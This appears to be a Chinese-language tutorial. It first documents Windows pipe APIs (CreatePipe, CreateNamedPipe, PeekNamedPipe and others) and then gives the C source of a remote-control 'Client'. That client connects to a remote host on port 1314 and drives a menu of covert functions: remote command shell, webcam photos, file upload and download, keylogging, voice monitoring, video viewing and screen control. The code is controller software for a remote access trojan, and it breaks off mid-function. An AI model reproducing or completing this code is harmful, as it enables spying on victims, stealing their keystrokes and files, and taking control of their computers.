CreatePipe() 介绍:
功能:创建一个匿名管道,并从中得到读写管道的句柄。
函数原型:BOOL WINAPI CreatePipe(
PHANDLE hReadPipe, // 返回一个可用于读管道数据的文件句柄。
PHANDLE hWritePipe, // 返回一个可用于写管道数据的文件句柄。
LPSECURITY_ATTRIBUTES lpPipeAttributes, // 该结构用于决定该函数返回的句柄是否可被子进程继承。
DWORD nSize // 管道的缓冲区大小。如果传入0 ,那么系统将使用一个默认的缓冲区大小。
);
返回值:非零表示成功,零表示失败。
SECURITY_ATTRIBUTES 结构体:
typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; // 结构体的大小。 LPVOID lpSecurityDescriptor; // 安全描述符。如果为 NULL,则使用默认的。 BOOL bInheritHandle; // 安全描述的对象能否被新创建的进程继承。 } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
CreateNamedPipe() 介绍:
功能:创建命名管道的实例, 并返回后续管道操作的句柄。
函数原型:HANDLE CreateNamedPipe(
LPCSTR lpName, // 指定管道名,采用的形式是:“\.pipepipename”。
DWORD dwOpenMode, // 打开模式。
DWORD dwPipeMode, // 管道模式。
DWORD nMaxInstances, // 管道能够创建的最大实例数量。范围(1~255)。为 255 则仅限制于系统资源。
DWORD nOutBufferSize, // 要为输出缓冲区预留的字节数,零表示用默认值。
DWORD nInBufferSize, // 要为输入缓冲区预留的字节数,零表示用默认值。
DWORD nDefaultTimeOut, // 管道的默认等待超时。零表示用默认值。
LPSECURITY_ATTRIBUTES lpSecurityAttributes // 安全属性结构体,同上。
);
返回值:如果函数成功, 则返回值是命名管道实例的服务器端的句柄。
如果函数失败, 则返回值为 INVALID_HANDLE_VALUE。
WaitNamePipe() 介绍:
功能:等待直到超时间隔结束或指定的命名管道的实例可用于连接。
函数原型:BOOL WaitNamedPipeA(
LPCSTR lpNamedPipeName, // 要打开的管道名,格式“\servernamepipepipename”,
// 如果是本地管道则servername可以使用点“.”。
DWORD nTimeOut // 等待命名管道的一个实例有效的超时时间,单位毫秒。
// 也可以是 NMPWAIT_USE_DEFAULT_WAIT,即CreateNamePipe() 设置的时间。
// NMPWAIT_WAIT_FOREVER,即等到该实例有效才返回。
);
返回值:非零表示成功,零表示失败。
PeekNamedPipe() 介绍:
功能:将命名或匿名管道中的数据复制到缓冲区中, 而不将其从管道中移除。它还返回有关管道中数据的信息。
函数原型:BOOL WINAPI PeekNamedPipe(
HANDLE hNamedPipe, // 管道的句柄。除了命名或匿名管道句柄,还可以使 CreateFile() 返回的文件句柄。
LPVOID lpBuffer, // 指向接收从管道读取的数据的缓冲区的指针。如果没有要读取的数据, 则此参数可以为 NULL。
DWORD nBufferSize, // 由 lpBuffer 参数指定的缓冲区的大小 (以字节为单位)。
LPDWORD lpBytesRead, // 指向一个接收从管道读取的字节数的变量的指针。
LPDWORD lpTotalBytesAvail, // 该指针变量接收从管道中读取的总字节数
LPDWORD lpBytesLeftThisMessage // 指向一个接收此消息中剩余字节数的指针变量。
);
返回值:非零表示成功,零表示失败。
ZeroMemory() 介绍:
功能:用 0 来填充一块内存区域,将指定的内存块清零。(使用结构前清零,而不让结构的成员数值具有不确定性。)
PVOID Destination, // 指向一块准备用0来填充的内存区域的开始地址。
SIZE_T Length // 准备用0来填充的内存区域的大小,按字节计算。
);
// Client #include<stdio.h> #include<string.h> #include<winsock.h> // winsock.h 必须要在 windows.h 之前,否则有些地方会出现未知异常。 #include<windows.h> #pragma comment(lib,"ws2_32") #define BACKLOG 8 SOCKET Connecting(unsigned short Port); int Choices(); void CmdLine(SOCKET Socket); int main(void) { SOCKET Sock; Sock = Connecting(1314); while (true) { switch(Choices()) { case 1: send(Sock,"CMD",20,0); CmdLine(Sock); break; case 2: send(Sock,"PHOTO",20,0); break; case 3: send(Sock,"UPLOAD",20,0); break; case 4: send(Sock,"DOWNLOAD",20,0); break; case 5: send(Sock,"KEYMONITOR",20,0); break; case 6: send(Sock,"VOICEMONITOR",20,0); break; case 7: send(Sock,"REMOTETALK",20,0); break; case 8: send(Sock,"REMOTEMONITOR",20,0); break; case 9: send(Sock,"SCREENCONTROL",20,0); break; case 0: send(Sock,"EXIT",20,0); exit(0); default: break; } } return 0; } int Choices() { int Choice; printf("1、CMD 终端 2、拍照 "); printf("3、文件上传 4、文件下载 "); printf("5、键盘记录 6、语音监听 "); printf("7、远程会话 8、视频查看 "); printf("9、屏幕控制 0、退出 "); printf("Input your Choice "); scanf("%d",&Choice); return Choice; } void CmdLine(SOCKET Socket) { int num=0; CHAR Command[MAX_PATH]={0},Message[2048]={0}; while(true) { printf("Input Command: "); gets(Command); send(Socket, Command, MAX_PATH, 0); if(strcmp(Command,"exit") == 0) break; num = recv(Socket,Message,2048,0); Message[num] = '